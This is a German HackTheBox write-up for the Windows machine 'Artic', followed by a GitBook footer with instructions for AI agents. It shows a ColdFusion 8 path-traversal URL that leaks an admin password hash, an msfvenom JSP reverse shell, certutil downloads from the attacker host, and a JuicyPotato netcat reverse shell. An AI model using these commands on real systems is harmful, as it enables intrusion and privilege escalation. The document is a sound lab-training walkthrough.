> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md).
# Artic HackTheBox-Lösungsbericht
{% hint style="warning" %}
**Fähigkeiten:**
* Ausnutzung von Adobe ColdFusion 8
* Schwachstelle zur Verzeichnisdurchquerung
* Hashes knacken
* Missbrauch geplanter Aufgaben - Erstellen einer bösartigen JSP-Datei
* Missbrauch des SeImpersonate-Rechts (Rechteausweitung)
{% endhint %}
## Aufklärung
**Einrichtung des Arbeitsbereichs:**
Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.
**VPN-Verbindung prüfen**
Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.
**Offene-Ports-Ermittlung mit Nmap:**
Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:
```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.11 -oG allPorts
```
**Analyse offener Ports mit extractPorts:**
Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren.
**Port- und Versionsscan mit Nmap:**
Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:
```bash
nmap -sCV -p135,8500,49154 10.10.10.11 -oN targeted
```
## Ausnutzung von Adobe ColdFusion 8 (Port 8500)
Wir stellen fest, dass ein Verwaltungsdienst auf Port 8500 erreichbar ist, für dessen Verbindung zu Adobe ColdFusion ein Benutzername und ein Passwort erforderlich sind.
Durch die Suche nach zugehörigen Schwachstellen in `searchsploit`finden wir ein funktionierendes Skript für eine Verzeichnisdurchquerungsschwachstelle.
`searchsploit -x multiple/remote/14641.py`
Dieses Skript offenbart eine LFI-Schwachstelle, um auf die Passwortliste zuzugreifen:
`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`
Die Datei enthält den folgenden Wert für das Passwort:
`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`
### Das Passwort knacken
{% embed url="" %}
Mit CrackStation knacken wir diesen Hash, und das Passwort lautet `happyday`. Wir können uns jetzt erfolgreich verbinden.
### Erstellen einer bösartigen geplanten Aufgabe
Im Abschnitt für geplante Aufgaben erstellen wir eine neue Aufgabe, um eine bösartige Datei im `C:/ColdFusion8/wwwroot/CFIDE` Verzeichnis zu speichern, auf das wir Lese-/Schreibrechte haben.
**Erstellung der JSP-Datei:** Da der Server JSP-Dateien interpretieren kann, erzeugen wir mit `msfvenom`:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```
**Eine neue Aufgabe hinzufügen:** Wir richten die geplante Aufgabe so ein, dass diese bösartige Datei ausgeführt wird.
/*/* HTTP-Server zum Übertragen der Datei:/*/* Um die JSP-Datei zu übertragen, starten wir auf unserem Rechner einen HTTP-Server:
```bash
python3 -m http.server 80
```
**Abhören und Ausführen:** Wir lauschen auf Port 443, um die Reverse Shell zu empfangen, und führen dann die geplante Aufgabe unter `/CFIDE/`:
```bash
rlwrap nc -nvlp 443
```
### Flagge user.txt :)
## Privilegieneskalation
### Missbrauch von SeImpersonatePrivilege:
Wir haben festgestellt, dass der Benutzer die `SeImpersonatePrivilege` Berechtigung hat, wodurch er für bestimmte Techniken zur Privilegienerweiterung anfällig ist. Der folgende Befehl bestätigt das Vorhandensein dieser Berechtigung:
```bash
whoami /priv
```
Um diese Schwachstelle auszunutzen, verwenden wir **JuicyPotato**, ein bekanntes Tool, um diese Berechtigung im Windows-Kontext auszunutzen.
**Erforderliche Tools herunterladen**
{% embed url="" %}
{% embed url="" %}
**Starten eines HTTP-Servers** auf unserem Angriffsrechner, um Dateien bereitzustellen:
```bash
python3 -m http.server 8080
```
**Dateien auf das Zielsystem übertragen** mit `certutil`:
```powershell
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe
certutil.exe -f -urlcache -split http://10.10.14.10:8080/nc64.exe
```
**Ausführung von JuicyPotato zur Privilegienerweiterung**
Wir führen nun JuicyPotato aus, um eine privilegierte Sitzung zu erhalten. Der folgende Befehl startet JuicyPotato, das `cmd.exe` mit hohen Rechten ausführt und eine Verbindung zu unserer Angriffsmaschine über Netcat initiiert:
```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc.exe -e cmd 10.10.14.10 1234"
```
**Anmeldung in hoher Sitzung**
Um die Verbindung abzufangen, lauschen wir auf Port 1234:
```bash
rlwrap nc -nvlp 1234
```
### Root-Flag :)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.